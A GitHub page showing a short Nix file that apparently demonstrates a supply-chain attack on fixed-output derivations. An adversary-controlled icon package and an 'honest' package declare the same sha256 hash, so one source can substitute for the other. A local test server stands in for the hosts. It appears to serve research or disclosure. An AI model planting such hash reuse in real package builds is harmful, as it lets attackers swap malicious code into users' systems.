-
Notifications
You must be signed in to change notification settings - Fork 0
/
default.nix
34 lines (34 loc) · 1.21 KB
/
default.nix
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# To test this, simulate a web server with:
# $ nix-shell -p simple-http-server
# $ simple-http-server -p 8042
{ pkgs ? import <nixpkgs> {} }:
pkgs.callPackage ({stdenv, fetchzip}:
let iconpackage = stdenv.mkDerivation rec {
pname = "iconpackage";
version = "42.0";
src = fetchzip {
url = "http://localhost:8042/iconpackage-${version}.tar.gz"; # <-- this is controlled by the adversary
sha256 = "sha256-kACAk1+Se9vaJN8FkqLRJsOI7szD9zw015nCxxT54bs=";
};
buildPhase = ":";
installPhase = ''
mkdir -p $out/share/icons/hicolor/64x64/apps/
mv myicon.png $out/share/icons/hicolor/64x64/apps/
'';
};
honestpackage = stdenv.mkDerivation rec {
pname = "honestpackage";
version = "1.0";
src = fetchzip {
url = "http://localhost:8042/honestpackage-${version}.tar.gz"; # <-- this is NOT controlled by the adversary
sha256 = "sha256-kACAk1+Se9vaJN8FkqLRJsOI7szD9zw015nCxxT54bs=";
};
buildInputs = [ iconpackage ];
buildPhase = ":";
installPhase = ''
mkdir -p $out/bin
mv honestpackage.sh $out/bin
'';
};
in honestpackage
) {}